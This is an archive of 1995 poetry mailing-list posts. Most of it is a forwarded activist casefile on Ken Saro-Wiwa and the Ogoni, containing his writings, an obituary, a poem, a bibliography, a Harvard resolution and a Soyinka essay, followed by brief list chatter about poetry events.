former Head of State, General Olusegun Obasanjo and others who were tried in secret on trumped-up charges and sentenced to brutal terms of imprisonment. Stability in that African sub-region can only be guaranteed by the quick restoration of democracy to this problematic, but crucially placed regional member, Nigeria. We call for the break of diplomatic, economic, sporting and cultural links with the illegal military regime of Nigeria. We call for a suspension of all ongoing economic projects in Nigeria, termination of all assistance programmes, and a ban on the sale of arms, military spare parts, and police equipment to Nigeria. WE CALL ESPECIALLY FOR AN EMBARGO ON NIGERIAN OIL WITH THE AIM OF STARVING THE REGIME OF FUNDS AND COMPELLING IT TO CEDE POWER TO THE DULY ELECTED DEMOCRATIC PRESIDENT. We call for an urgent debate in the Security Council on the deteriorating state of human existence in Nigeria and a concrete plan of action that will be binding on its member states.

Approved by full Plenary assembly of over 1,700 world dignitaries.

Signatories include the following Nobel laureates:
Michael Gorbachev, Kenzaburo Oe, Leo Esaki, Kenichi Fukui, Wole Soyinka, Desmond Tutu.

KEN SARO WIWA, PREFACE TO *GENOCIDE IN NIGERIA: THE OGONI TRAGEDY* (Port Harcourt: Saros, 1992; 103 pp.)

Author's Note

Writing this book has been one of the most painful experi- ences of my life. Ordinarily, writing a book is torture, a chore. But when, on ever page, following upon every word, every letter, a tragedy leaps up before the eyes of a write, he or she cannot derive that pleasure, that fulfillment in which the creative process often terminates. What has probably worsened the matter is that I have lived through most of the period covered by this sordid story. I knew, as a child, that period from 1947 when the Ogoni saw, for a few brief years, the possibility of extricating themselves from the cruel fate which seems to have been ordained for them. I watched as they went into decline. I was privileged to play a role in the civil war which decimated them further and to assist in their rehabilitation at the end of that war. Since then I have watched helplessly as they have been gradually ground to dust by the combined effort of the multi-national oil company, Shell Petroleum Development Company, the murderous ethnic majority in Nigeria and the country's military dictatorships. Not the pleas, not the writing over the years have convinced the Nigerian elite that something special ought to be done to relieve the distress of the Ogoni. I have known and argued earnestly since I was a lad of seventeen that the only way the Ogoni can survive is for them to exercise their political and economic rights. But because the Nigerian elite appear, on this particular matter, to have

hearts of stone and the brains of millipedes; because Shell is a multi- national company with the ability to crush whomever it wishes; because the petroleum resources of the Ogoni serve everyone's greed, all the doors seemed closed. Three recent events have encouraged me to now place the issue before the world: the end of the cold War, the increasing attention being paid to the global environment, and the insis- tence of the European Community that minority rights be respect- ed, albeit in the successor states to the Soviet Union and in Yugoslavia. What remains to be seen is whether Europe and America will apply in Nigeria the same standards which they have applied in Eastern Europe.
For what has happened and is happening to the Ogoni is strictly not the fault of the Nigerian elite and Shell Company alone; the international community has played a very significant role in it. If the Americans did not purchase Nigerian oil, the Nigerian nation would not be, nor would the oppressive ethnic majority in the country have the wherewithal to pursue its genocidal intentions. Indeed, there is a sense in which the "Nigerian" oil which the Americans, Europeans and Japanese buy is stolen property: it has been seized from its owners by force of arms and has not been paid for. Therefore, these buyers are receiving stolen property. Also, it is Western investment and technology which keep the Nigerian oil industry and therefore the Nigerian nation alive, oil being 94 percent of Nigeria's Gross Domestic Product. Also, European and American shareholders in multi-national oil companies and manufacturers of oil mining equipment have benefitted from the purloining of Ogoni resources, the devasta- tion of the Ogoni environment and the genocide of the Ogoni people. Thus, shareholders in the multi-national oil companies -- both Shell and Chevron -- which prospect for oil in Ogoni, the American, Japanese and European governments, and the multi- national oil companies have a moral if not legal responsibility for ending the genocide of the Ogoni people and the complete devastations of their environment, if, indeed, that is still possible. The requirement is enormous and urgent. The Ogoni people themselves including their children are determined to save whatever is left of their rich heritage. The international community can support this determination by championing the drive of the Ogoni for autonomy within Nigeria. The restoration of their rights, political, economic and environmental does not, cannot, hurt anyone. It will only place the responsibility for ending this dreadful situation where it should lie: on the Ogoni people themselves. The area being reich in resources and the people resourceful, the Ogoni will be able to sort out their problem in time.
Secondly, the international community must prevail on Shell and Chevron which prospect for oil in Ogoni, and the Nigerian Government which abets them, to stop flaring gas in the area immediately. Thirdly, the international community can help by sending experts -- medical, environmental and agricultural -- to assist the Ogoni people restore a semblance of normality to Ogoni territory. In the early years of this century, a French writer, Andre

Gide, toured the Congo and observed the gross abuse of human rights being perpetrated in that country by King Leopold II of Belgium and his agents. He wrote about it and Europeans were sufficiently shocked to end the abuses. I write now in the hope that the international community will, in similar fashion, do something to mitigate the Ogoni tragedy. It is bad enough that it is happening a few years into [before?] the twenty-first century. It will be a disgrace to humanity should it persist one day longer. I expect the ethnic majority of Nigeria to turn the heat of their well-known vindictiveness on me for writing this book. I defy them to do so. Some may wonder at my use of the word "genocide" to describe what has happened to the Ogoni people. The United Nations defines genocide as "the commission of acts with intent to destroy a national, ethnic, racial or religious group." If anyone, after reading this book, has any further doubt of, or has a better description for, the crime against the Ogoni people, I will be happy to know it. I wish to thank Barika Idamkue and Dr. Sonpie Kpone-Tonwe for kindly reading the manuscript and making valuable suggestions for improving the work; and my assistant, Hyacinth Wayi, for speedy word-processing. All errors in the book are mine and I accept full responsi- bility for them.

Ken Saro-Wiwa
Port Harcourt, 1992

(END OF SECTION 1. PLEASE SEE SECTION TWO UNDER SEPARATE MAIL FILE)

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247. Steven Howard Shoemaker

NIGERIA CASEFILE #2 (A KEN SARO WIWA-OGONI HANDBOOK) (fwd)

Mon 20 Nov 1995

Forwarded message:
From daemon Mon Nov 20 13:48:34 1995
Resent-Message-Id: <[redacted]>
Resent-From: Tejumola Olaniyan <[redacted]>
Resent-Date: Mon, 20 Nov 95 13:28:32 EST
Resent-To: [redacted]
From: Tejumola Olaniyan <[redacted]>
Date: Mon, 20 Nov 95 13:19:07 EST
To: [redacted]
Subject: NIGERIA CASEFILE #2 (A KEN SARO WIWA-OGONI HANDBOOK)

NIGERIAN CASEFILE: THE KEN SARO WIWA-OGONI HANDBOOK

compiled by the Coalition Against Dictatorship (CAD)

SECTION TWO.

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KEN SARO WIWA, "THE WORLD BANK AND US"

a column from the *Sunday Times* of Lagos; reprinted in *Similia: Essays on Anomic Nigeria* (Port Harcourt: Saros: 1991), a collection of columns published in 1989 and 1990. (Note: In this essay Ken uses "World Bank" and "IMF" interchange-
ably.)

Almost twenty years ago, touring the United States of America, I came to know several variations of my surname. In New York, I was called Sora-Wawo, in Los Angeles Sira-Wawa. But the limit was in Atlanta, in the presence of Mrs. Coretta King, where I was introduced as Saro-Wee-Wee. Uncomfortably close to the toilet, you might say. I was minded, that day, to change my name to something more heavenly like Wiwa or Saros. I refrained from doing so. In the interest of history. Today, I'm used to these and other varia- tions of my name. Thus I was only half-surprised when an invitation arrived at my Surulere office the other day, addressed to, you guessed it, Ken Sarohiwa. And it came from the Indian High Commission. It was an invitation to a party celebrating

Indian National Day. I am not a party-going man. Invariably, I find myself, in the day, glued to my telephone or sitting in the front offices of the high and mighty in Nigeria pursuing you know what. At night, I'm in my study consulting dictionaries or the thesaurus and struggling endlessly with words in English or my native Khana. No one invites me to parties. Which is a blessing. So the half of my surprise was that the Indian High Commission had called me up. How on earth did they find out my address? I am supposed to be anonymous, in the name of all you love! Since I have never been to a diplomat's party, and I do not mind a new experience, I took my courage in my hands and wended my way to Eleke Crescent on Victoria Island. I suspected I would be lost at the part. I knew that my perpetual *adire* shirt would mark me out as a non-diplomat and that I did not have the polish to match a diplomat's shoes. I *was* lost. I held my soft drink (no alcohol was served) and the only diplomat I met almost sent me to my grave. No, he did not deal me a blow. He was a high official of the World Bank. These sapped times are hungry times, and a hungry man is an angry man. I never have met any representative of the International Monetary Fund anywhere and this was an opportunity for me to send a message to the Fund through one of its represen- tatives in Nigeria. As it turned out, I had nothing new to tell the representa- tive. He had been to all but two of the states of Nigeria, and most of it by road. He was aware of the distress caused by the Structural Adjustment Programme. The latest World Bank Report on the Africa Sub-region accepts as much. Forty years of the World Bank experiment in turning the economies of debtor-nations round has not resulted in success in a single country. Yet the Bank persists in its folly. Which makes you believe that their mission in debtor nations is not to heal but to rub salt into wounds. To collect debts and to send the nations into even greater debt so that the World Bank can remain in the nations forever. The gentleman in question kept reminding me that the IMF would not have been in Nigeria if Nigeria had not gone on a borrowing spree. I know and have always known it. But the ques- tion which confronts us all is what to do in the circumstances. Must we see all our children die of kwashiorkor? Must we see all those who survive the ravages of disease and famine grow up as zombies because they have no books to read, cannot afford good education, decent housing, transportation and water? Perhaps the only thing they can look forward to is a "befitting burial" which we perversely still give the dead? All of which sends me right back to the present administration which continues to sing of the "gains of SAP." It is all right for a government, any government, to put a policy in place and pursue its implementation with single-mindedness. Just to see if it works. However, any respect- able government must also have a fall-back position. I believe that all Nigerians, indeed, all black people, must work hard, think hard, practise thrift and show dedication to progress. But the question which Government and all of us must now tackle is the failure of World Bank "remedies" world-wide. A

survey in Ghana recently showed that in spite of adherence to World Bank conditionalities, in spite of the fact that the Bank has enough statistics to show that the Ghanaian economy is improving, the fact stands that the average Ghanaian's earnings cannot feed him and his family, much less send his children to school or doctor them. The representative of the World Bank in Ghana is reported to have said recently that the mismanagement of the past in Ghana was so immense that recovery under the IMF's guidelines will be almost impossible. For Ghana, you may read Nigeria, Zambia, or wherever. Which, of course, means that the "gains of SAP" are likely to remain a chimera for all time. The World Bank itself has now accepted that some of its programmes are faulty. It also accepts that it pays its employees incredible salaries and allowances. but it then places the blame on the various governments: the governments are autocratic, corrupt and have not allowed the full development of the creative energies of their peoples. Maybe. This may mean that the World Bank and its Euro-American mentors will stop forcing incompetent rulers and brutes upon third and "enth" world societies in the belief that such men will brutalize their peoples and compel them to accept the bitter pill which the World Bank means to force down the nations' throats. But methinks the World Bank has to accept that its real instrument of torture is its insistence on growth, its economic theorizing at the expense of human welfare. In Nigeria, as elsewhere, its potent instrument is the exchange rate. The fixing of that rate is, as far as I can see it, a con; it is dubious and no one can convince me otherwise. And the sooner debtor-nations realized the political nature of the World Bank, the sooner they will be able to face the bogus economic theories of the Bank with an equivalent weapon--people's power. At no matter what cost.

CHUKS ILOEGBUNAM, "THE DEATH OF A WRITER"
(an obituary by a Nigerian journalist)

It is a supreme irony that the death of Ken Saro-Wiwa, the Nigerian environmental activist, businessman and writer at the age of 54, should have come in such a grotesque manner: tried and condemned by a tribunal instead of an ordinary court of law, denied the right of appeal, and hanged. Nothing about his origins, nor indeed, the course of most of his life, indicated even remotely that things would come to this terrible pass.

Saro-Wiwa was born in Bori, near Port Harcourt, capital of Rivers State in Nigeria. He was a brilliant student and government scholarships saw him through Government College, Umuahia, and the University of Ibadan - two famous institutions which some other notable Nigerian writers, including Chinua Achebe, had also attended.

He taught briefly at the Universities of Ibadan and Nigeria (at Nsukka) before the outbreak of the Nigerian civil war in 1967. Stridently anti-Biafran (until his

death he wrote the name with a lower case "b"), Saro-Wiwa pitched his camp with the Federal authorities. He was appointed the administrator of the oil port of Bonny, and in 1968 became one of the first cabinet members of the newly created Rivers State, where he alternately held the powerful portfolios of education and information. However, when he left the cabinet of Commander Alfred Dietee-Spiff, the military governor of Rivers State, in 1973, it was in acrimonious circumstances.

Out of government, Saro-Wiwa turned to business, which he ran alongside his real love of writing. He made good on both scores. He could afford to send his son to Eton; and had to his credit more than 20 titles in all genres of literature. There are four novels, a poetry volume, two books of short stories, three titles on general topics, two drama volumes, one on folklore and nine children's books. And this output does not include the extensive pamphleteering on behalf of the Ogoni cause. His Tambari and Tambari In Dukana, both written for children, were published by Longman. All the others are published by his Saros International Publishers. Last year, Longman re-issued his Sazaboy: A Novel in Rotten English, which received an honourable mention at the Noma Award for Publishing in Africa. Only last month the same publishers re-issued A Forest Of Flowers, his first collection of short stories which was shortlisted for the Commonwealth Writers Prize in 1987.

Saro-Wiwa was also at different times an engaging newspaper columnist for Punch, Vanguard and the Daily Times, all Lagos-based dailies. Whether in journalism or in creative writing, he exposed a nation "cracking up under the pressures of maladministration, corporate greed, sloth, ignorance and mercenary self-interest, while its people struggle against government neglect and abuse, racketeering, poverty, disease, superstition and ethnic mistrust to quote the apposite comment on the blurb accompanying A Forest Of Flowers.

Sometime in 1991, Saro-Wiwa decided to abandon "everything" and devote himself to the Ogoni struggle, which until then he had combined with his other activities. He put his creative writing in abeyance, dutifully returning to their owners all the manuscripts his Saros International was to have published, and relinquished his position as president of the Association of Nigerian Authors which he held for three years.

Towards the end of 1992 he was struck by tragedy when his son at Eton dropped dead during a game of rugby. Something inside Saro-Wiwa seemed to have died as a result. From then on he lived only for the Ogoni struggle.

Before long he complained that the military authorities had turned a deaf ear to the demands of his people. In the circumstances, he said that the only option left was to attract the attention of the international community. In July 1992 he addressed the United Nations Working Group on Indigenous Population in

Geneva and followed this up with a visit to the UN in New York. He bought cine equipment and cameras, and systematically began recording scenes of oil pollution and gas flaring in Ogoniland. Using the platform of Movement for the Survival of the Ogoni People (MOSOP), which he helped found, he sensitised his people to both the politics and economics of oil.

Greenpeace and other environmental groups soon took up the Ogoni case and the picketing of Shell's office in London became commonplace. (In fact, Shell was chased out of Ogoniland in 1993.) Saro-Wiwa had become an acute embarrassment to oil companies operating in Nigeria and to his country's military rulers.

During his last visit to London in May last year he complained that Shell had put a world-wide surveillance on his movements. He said it was obvious that the military regime in Nigeria was feeling the heat of the Ogoni struggle. "I am using even the Koran which says it is right to fight one's oppressors against them", he told me. "And they don't like it one bit," A mutual friend, a novelist, asked Saro-Wiwa if it was not possible for him to "go slow" on "the struggle". The man merely smiled and changed the topic.

The last time I saw him was when the UK chapter of the Ogoni movement was launched at the Royal Park Hotel in London. Saro-Wiwa told me he would return to Nigeria the following week, but would be back in good time for the launch of Sozaboy by Longman. He never came back.

Shortly after his return to Nigeria he was arrested and charged with multiple murder although it was established that he was not at the scene of the killings. But Justice Ibrahim Auta, the tribunal chairman, warned: "If an accused was not directly involved in a crime, he could still be convicted if he encouraged the act". And the tribunal is empowered to pronounce only capital punishment.

So, the Nigerian state has killed Ken Saro-Wiwa. The man I knew, the one who was my friend for over a decade, believed in combat - the combat of the written and spoken word. If he opposed anything, he went to great lengths to leave nobody in doubt as to where he stood. Perhaps his eternal mistake was that he chose to rail at those who saw themselves in superhuman terms, people who would brook no opposition and who, in the peculiar setting of the Nigerian entity, had invariably coveted the power to decide who got dispatched and who did not.

But he always insisted that the Ogoni would demand their rights peacefully. He showed impatience each time it was alleged that he was planning for the Ogoni to secede. "I am not a fool", he would declare. "The Ogoni are only 500,000. Nigeria is about 100 million. Secession is not a viable option and we are not into that." Somebody wanted to know the meaning of Saro-Wiwa's death. Simple. It means that nothing has changed.

He is survived by his wife, Hauwa, his children, one of whom, Ken, has been the foremost campaigner for his father's freedom, and his father and mother, who are aged 91 and 75 years respectively.

F W J MNTHALI, "FAREWELL, KEN SARO-WIWA!"

a poetic memorial by the renowned Malawian poet

Some papers here tell us
you and your colleagues
went to your death singing!

Would that Africa as a whole
boasted more men and women with
your courage and your vision.

But we are all caught up in a web of fear
the fear that rules all killers
that web of silence which is the bane of all our
feelings
the fear of our own shadows
the fear of lizards lurking behind freedom's rays
the fear of being thought weak
the fear of parting with loot and plunder
the fear of losing those peripheral powers
whose only guarantee is the barrel of a gun
cynically backed by the greed of those who have more
guns!

When fifteen years ago I spent a year in your country
I saw with my own eyes
how the fishes and other forms of life
were all slowly dying
in the sluggish brownish and filthy liquid
that had once been water;black gold it seems
demanded its pound of flesh
from everything and everyone around it!

It has now demanded that you too
like the rest of our continent's creme de la creme
pay with your life for this gold this madness;
that the Ogoni like the rest of us
since the days of slavery and brutish colonisation
have been paying with our lives
for treasures that others consume
while our own people go hungry and naked:

it was for reminding it of this simple story
that the sphinx has devoured you
for no sphinx on earth
wants its victims told
how naked and how foolish it looks!

In my own country the sphinx
devoured Dick Matenje and Aaron Gadama
Twaibu Sangala and David Chiwanga
Attati Mpakati and Mkwapatira Mhango
Orton Chirwa and many many others
whose bodies were dumped
into the waters of the Shire
or into the bellies of crocodiles;
many fled into exile which also became an area of darkness
when the tentacles of the sphinx would know no bounds
for the kingdoms of darkness
decay and death are all alike:
they thrive best in the midst of silence and despair
our silence and our despair!

If today's death be that of Ken Saro-Wiwa and eight others
who have been so brazenly and so blatantly
in the classical fashion of Nazism so openly executed
can the deaths of Moshood Abiola and General Obasanjo
and Ransome Kuti
be far off?

Silence, why must heinous acts
be always followed by a deathly silence
oh, OAU,
oh, Africa?

F e l i x M n t h a l i .

THE WRITINGS OF KEN SARO-WIWA: A BIBLIOGRAPHY

THE TRANSISTOR RADIO (radio play) BBC-Radio, 1972
BRIDE BY RETURN (radio play) BBC-Radio, 1973
TAMBARI (1973)
TAMBARI IN DUKANA (1973)
SONGS IN A TIME OF WAR (POEMS) (1985)
SOZABOY:A NOVEL IN ROTTEN ENGLISH (1985)
A FOREST OF FLOWERS (SHORT STORIES) (1986)

BASI AND COMPANY:A MODERN AFRICAN FOLKTALE (1987)
PRISONERS OF JEBS (1988)
ADAKU AND OTHER STORIES (1989)
FOUR FARCIAL PLAYS (1989)
ON A DARKLING PLAIN:AN ACCOUNT OF THE NIGERIAN CIVIL WAR (1989)
NIGERIA:THE BRINK OF DISASTER (1991)
PITA'S BUMBROK'S PRISON (1991)
SIMILIA:ESSAYS ON ANOMIC NIGERIA (1991)
THE SINGING ANTHILL:OGONI FOLK TALES (1991)
GENOCIDE IN NIGERIA:THE OGONI TRAGEDY (1992)

In addition, he was producer and writer of the television series, BASI AND COMPANY, 1985-1990, Editor, MELLANBITE, 1963-64, HORIZON, 1964-65,and UMUAHIA TIMES, Member of editorial board, UMUAHIAN

His television series included:

MR. B (1987)
BASI AND COMPANY (1989)
THE TRANSISTOR RADIO (1989)
MR.B GOES TO LAGOS (1989)
MR. B IS DEAD (1991)
SEGI FINDS THE RADIO (1991)
A SHIPLOAD OF RICE (1991)
MR. B'S MATTRESS (1992)
MR. B. GOES TO THE MOON (1992)
A BRIDE FOR MR. B. (1992)

Born October 10, 1941 in Bori, Rivers State, Nigeria
Died November 10, 1995 in Port Harcourt, Nigeria
Education: University of Ibadan B.A. (Honors), 1965
Avocational interests: Sports, travel, classical music

APPENDIX 1

ACTION AGAINST THE NIGERIAN JUNTA AND ITS BACKERS: HARVARD STUDENTS TAKE THE LEAD

Resolution passed on November 19, 1995

RESOLUTION 14F-28: Response to Human Rights Violations in Nigeria (Simons, Kasper, Freeman)

Whereas, on Friday, 10 November 1995, the military government of Nigeria executed nine anti-government activists, including playwright, environmental

and human rights activist Ken Saro- Wiwa, in trials which Amnesty International believes to have been pol itically motivated and unfair;

Whereas, the international community has reacted with outrage and condemnation to the executions, the United States and other nations have withdrawn their ambassadors to Nigeria, the 52-member Commonwealth of Britain has suspended Nigeria as a member, and the brutal government of Nigeria has been described by Nelson Mandela as "counter to the most basic human rights;"

Whereas, the Nigerian government is supported in large part by foreign investment, especially from oil corporatcorporations, most of the oil from which is exported to the United States;

Whereas, Harvard University is a shareholder in corporations which invest in Nigeria;

Be it resolved that the Undergraduate Council requests that President Neil Rudenstine sign letters to the Nigerian government and to Shell Oil, a leading investor in Nigeria in which Harvard owns shares, expressing outrage and dismay at the executions;

Be it resolved that the Undergraduate Council requests the University Advisory Committee on Shareholder Responsibility to recommend a policy of supporting all shareholders' resolutions calling for corporate withdrawal from Nigeria by drafting a letter to the student representative, Adrienne Bradley, which she shall read on behalf of the Undergraduate Council.

Be it resolved that the Undergraduate Council requests the Harvard Corporation and the Board of Overseers of Harvard College to adopt a policy of selective purchasing which would prohibit any part of the University or its subsidiaries from buying products from or entering into contracts with oil companies which invest in Nigeria.

Be it further resolved that the Undergraduate Council requests that

Harvard University divest fully from oil companies which invest in Nigeria.

APPENDIX 2:
WOLE SOYINKA, "WHY THE GENERAL KILLED"

There is one question only we need to address to ourselves: why the rush to execution ? That question holds the key to the darkest moment in the history of our existence in the benighted nation called Nigeria.

There are hundreds of convicts on the death row of our prisons, some of them over ten years, maybe twenty, awaiting their date with destiny. Some are violent armed robbers, cold-blooded murderers. Several are functional sadists, mindless butchers who took advantage of religious or ethnic riots to practice

their stock-in-trade. Years after they slaughtered their victims and turned the streets, markets and places of worship most especially into slaughter slabs. They were duly sentenced yet they are still kept alive in our prison cells, awaiting rescue by executive clemency. What then was the overwhelming cause that drove Sani Abacha, who had taken over the functions of criminal justice, set up his own trial court, then presided over the last court of appeal, to rush Ken Saro-Wiwa and his companions to the gallows ? Since when has the cause of justice been served by haste, especially selective justice in its irreversible mode ?

In seeking to answer to our central question, we would be wise to take our minds back to the internecine strifes, the escalation of mutual destruction that became a puzzling feature of life among the Delta people over the two years of Abacha's seizure of power in Nigeria. We must remind ourselves of the impersonation of the Okrika, the Andoni and the Ogoni by Abacha armed soldiers, the destruction of villages and farmlands, kidnapping and murders timed to appear as consequences of boundary disputes, mostly minor, but now turned into vicious rounds of bloodletting and serial vengeance among traditionally peaceful neighbours. We must refresh our memories with the detailed reports of commissions of enquiries about this strange and costly eruption of animosity - Professor Claude Ake's meticulous report most especially. We must single out, as a most graphic instance, the 1994 machine-gunning of a boat in mid-stream, in a carefully executed military action that resulted in the deaths of tens of innocent men, women and children, including prominent citizens of Ogoniland. The Okrika were first blamed for this atrocity, but we do recall how the true criminals, the military personnel, were exposed in the end by the few survivors.

The purpose of Abacha's bloody provocation was straightforward: to make it impossible for the victims of oil exploration to present a united front in their demands for reparations for their polluted land, for a fair share in the resources of their land, and a voice in the control of their own development. The Ogoni were of course at the head of these demands.

Still, the Ogoni preserved their united resolve - until lately. The crack in their unity was formented by the same forces that destroyed the peaceful co-existence of the various communities of the Delta, setting one against the other. The next stage was to set the final seal of doom on the Ogoni, who had had the temerity to spearhead the Delta revolt against the oil companies. Four prominent sons of Ogoni were brutally hacked to death, creating a permanent breach within the Ogoni movement, MOSOP.

Now, there had begun serious moves to heal that breach, with limited but real success. I know this at first hand, because I was contacted by the relations of

the murder victims and the peacebrokers. Such a process could only have been initiated as a result of the mounting suspicion that the blood-guilt lay outside the Ogoni community, that, at the very least, the murder of the four Ogoni leaders had been organised by a common enemy, the permanent "agent provocateurs" in the pay of the Abacha's regime. There was only one way to thwart the process of healing within MOSOP, and this was to terminate all efforts to root out the real criminals, and widen the blood breach in an irreversible manner.

Ken Saro-Wiwa's fate had long been sealed. The decision to execute him was reached before the special tribunal was ordered to reconvence and pronounce a verdict that had been decided outside the charade of judicial proceeding. The meeting of the Provisional Ruling Council to consider that verdict was a macabre pretence, a prolongation of the cynicism that marked the trial proceedings from the outset.

As the world knows, the executions were to have taken place immediately after the "ratification" session of the Military Council. Hence the sense of urgency, even panic with which we addressed our task in Auckland from the moment that we learnt that Abacha had summoned his uniformed puppets to perform at his dance of death. A blatant unrepentant defiance of civilised norms, an atavistic psyche is what has characterised this regime from the beginning, so there should have been no cause for surprise. We have warned, and pleaded. Now we are paying yet another heavy prize for the comatose nature of global conscience.

Is that conscience finally nudged awake ? Despite the belated flurry of motions, it would appear that the real problem, and the solution are still being dodged. Why do the Commonwealth Heads of States still proceed to offer Sani Abacha two whole years to "restore" Nigeria to democracy ? Nigeria has a civilian President-elect, Bashorun M.K.O. Abiola, clamped in gaol by Sani Abacha. We have called for a solution which requires his immediate release in order to head a government of national unity and restore the nation to a democratic path. Every atrocity that has befallen Nigerians, the total collapse of civic society, stem from the pattern of evasion that seeks a path round the immutable reality: that Nigerians went to the polls, elected their President, then a military cabal, of which Sani Abacha was Number Two, nullified the process.

It is time to stop beating about the bush when a path that, as it happens, combines both principle and pragmatism opens up itself unambiguously. Yes, of course, there are thorns along that path, a few boulders here and there, but what is the alternative ? Two more years of Abacha ? Does any serious thinking individual believe that Nigeria will survive a two-year endorsement of this national haermorrage ? Let the Commonwealth leaders think again, and

save the nation from the spiral of murder, torture and leadership dementia that is surely leading to the disintegration of a once proud nation.

[published in "Der Speigel"]

Other sources of info:
Earthlife Africa (Cape Town)
Greenpeace International
Amnesty International

(END OF SECTION TWO. PLEASE SEE SECTION 1 IN A SEPARATE MAIL FILE)

↑ Index

248. **Maria Damon**
Re: Metroplexities
Mon 20 Nov 1995

---

just a word about metroplexities in massachusetts: just spent the wkend in northampton and visited used bookstores, and was disappointed/relieved to find not one single interesting "experimental" book of poems on the shelves. disappointed because, well, because i like my e-friends to be doing well and getting lots of attention. relieved because, well, because i have this narrative about "my" institution (UMN) and "my" state MN, tho it used to be MA, then CA) being the most inhospitable to the new poetries and the energies they spring from and replenish. now i get a taste of reality: the city that hosts five major colleges is steeped in ...well, robert frost, may sarton and other ilkish ones. in my m onth away from the e, i've been in northern vermont, brooklyn (took in the whitney's beat show, tho had to miss the opening, much to my already-invited friends' rage) and nhamp. happy to be back on the cape and on the e. and just got, in the mail, walter lew's new asian american anthology, Premonitions. dig it! lots of fun stuff. kaya press.--maria d

↑ Index

249. **Maria Damon**
Re: Maria (D.)
Mon 20 Nov 1995

---

hi alan, i haven't gotten yr msg yet, but probly will tmw. i was away for over a month, and recklessly decided against doing the "set poetics no mail" --it took my computer 2.5 hrs to retrieve most of the msgs and then apparently gave out, so there's about a week's worth of uncollected msgs still to be gotten --but i'mm back and the same msg can be backchanneled again.---best, md

↑ Index

250. **Maria Damon**
Re: Baraka Conference
Mon 20 Nov 1995

---

thanks again, aldon, for your updates and commentaries. in response to your comment "And next time you're at one of those BEAT retrospectives, ask somebody where all the black poets and painters are --"

see mona lisa saloy's essay, black beats and black issues, in the whitney's beat exhibit catalogue. she and i divvied up the terrain (yeah yeah i know that's suspect, but that's how it worked out) --i did i kind of overview on "other beats" and she did Black writers and artists.

happy birthday to baraka, culture hero! he's said some of the smartest stuff i've ever heard on poetry/populism/politics. --md

↑ Index

251. **Maria Damon**
Re: Orono Conference
Mon 20 Nov 1995

---

have the contents of the orono conference already been established? or is the call for papers still open?--maria d

↑ Index

252. **Maria Damon**
Re: latter day lateness
Mon 20 Nov 1995

---

aldon, late in my reply but always glad to read your msgs --piquant and saucy... anyway you say --

Admittedly a bad example --
but it was Genet who once asked "what color is a black man?" and he
hadn't been reading Said, Fish, or Foucault on that day either --

is this a different translation, or a different occasion, from his line "what exactly is a Negro?" by the way, genet WROTE Said, Fish and Foucault before they knew who they were.--md

↑ Index

253. **Jordan Davis**
you have been warned
Mon 20 Nov 1995

Greetings POETICS (and hello to boopsy)

APRIL 1996 Established as
First Annual National Poetry Month

Booksellers and Librarians: To request an order form for the free information kit, booksellers and librarians should send a self-addressed, stamped envelope to the Academy of American Poets, Dept. NPM, 584 B'way Ste 1208, NY NY 10012-3250 [redacted]. Kits (not you Mr Robinson) will be mailed on or before March 1, 1996.

Educators: To receive free Nat'l Po Month resource materials, educators should call or write the Nat'l Council of Teach Engl, Attn. Poetry Project, 1111 Kenyon Rd, Urbana IL 6180[redacted] ext 290.

Media Contacts Only: If you would like more info about NPM contact Susannah Greenberg at [redacted] or Tom Bevan at [redacted]. Please do not print these two phone numbers in any articles on Nat'l Po Month.

Start yr engines
Jordan

↑ Index

254. **Aldon L. Nielsen**
Re: Steinway
Tue 21 Nov 1995

Steve & Dodie: Maybe it's because I wasn't there, but now I can't remember -- what did Stein write?

↑ Index

255. **Aldon L. Nielsen**
Re: genetway
Tue 21 Nov 1995

Maria -- diff. trans. of following line, "and first of all, what color is he?" --

time for me to decide whether or not to propose Kaufman panel for ALA in San Diego, May 30 - June 2 -- interested?? will probably see you at Orono, if not, and if I can get money source to get there --

↑ Index

256. Marjorie Perloff
Re: David Kellog's MLA posting
Tue 21 Nov 1995

David, you'll find the MLA makes this glitch every single year; it has nothing to do with 19th vs 20th C or anything else; they always put all the good things at the same time! Never mind, people can go back and forth. But I wish I could hear that Bourdieu paper. Maybe you'll send it or post it.

On another note: I want to know how people learn about (are invited to) things like the Stein reading marathon at Berkeley. I was right nearby at Mills for the Cage conference and, had I known, would have loved to go. Next time, please invite some of the rest of us Steinians.

Marjorie

↑ Index

257. Kevin Killian
Re: Stein marathon
Tue 21 Nov 1995

Steve Carll wrote:
>But, at the risk of further embarrassment, what did Stephen Ratcliffe read?
>Aaron Shurin? And what was the name of the woman who read the piece from
>the uncollected Stein, the title of which was something like "Didn't Lily
>and Elsa Love You?"

Steve according to KK, Ratcliffe read from The Making of Americans, wasn't it page 806? Aaron Shurin read "Preciosilla." We think it must have been Camille Roy who read about Lily and Elsa. But that wasn't the name of it--Camille, if you're on this list, please fill us in.

Dodie

p.s. to Marjorie: the Stein marathon was in San Francisco, at New College. How we wish you could have joined us! We would have loved to have heard you, Joan Retallack, and many of the other speakers at the Mills College Cage conference. How about giving us your precis of the Cagefest?

↑ Index

258. Pierre Joris
IFEX Communique #4-45 (fwd)
Tue 21 Nov 1995

Here's some info about reactions to the hangings in Nigeria. It's a long message as I left in the rest of the IFEX communique's stuff dealing with questions of

repression of writers/journalists around the world. & it's a big world out there, just beyond yankeeland.

Pierre

Forwarded message:
> From [redacted] Mon Nov 20 20:18:43 1995
> Date: Mon, 20 Nov 1995 20:14:47 -0500 (EST)
> From: Lucy Komisar <[redacted]>
> To: PEN Listserv <[redacted]>
> Subject: IFEX Communique #4-45 (fwd)
> Content-Length: 17948
>
>
>
> ---------- Forwarded message ----------
> Date: Mon, 20 Nov 95 15:58:45 -0500 (EST)
> From: Clearing House <[redacted]>
> To: [redacted]
> Subject: IFEX Communique #4-45
>
> **** ****** ****** ** **
> ** ** ** ** **
> ** ***** ***** *** COMMUNIQUE # 4 - 45
> ** ** ** ** ** 20 November 1995
> **** ** ****** ** **
> International Freedom of Expression eXchange Clearing House
> _____
>
> INDEX OF THIS WEEK'S NEWS:
> -WORLD MOURNS WRITER KEN SARO-WIWA AND OTHER NIGERIAN ACTIVISTS
> -REGIONAL NEWS:
> -CAMEROON: BILL COULD THREATEN PRESS FREEDOM; CAMEROON CRITICIZED
> -RWANDA: RSF PUBLISHES REPORT ON JOURNALISTS' WORKING CONDITIONS
> -ALGERIA: PRESS RESTRICTED PRIOR TO ELECTIONS
> -THAILAND: JOURNALISTS MORE INTERESTED IN BUSINESS THAN POLITICS
> -FORMER YUGOSLAVIA: CONFERENCE SAYS NO PEACE WITHOUT MEDIA
> FREEDOM
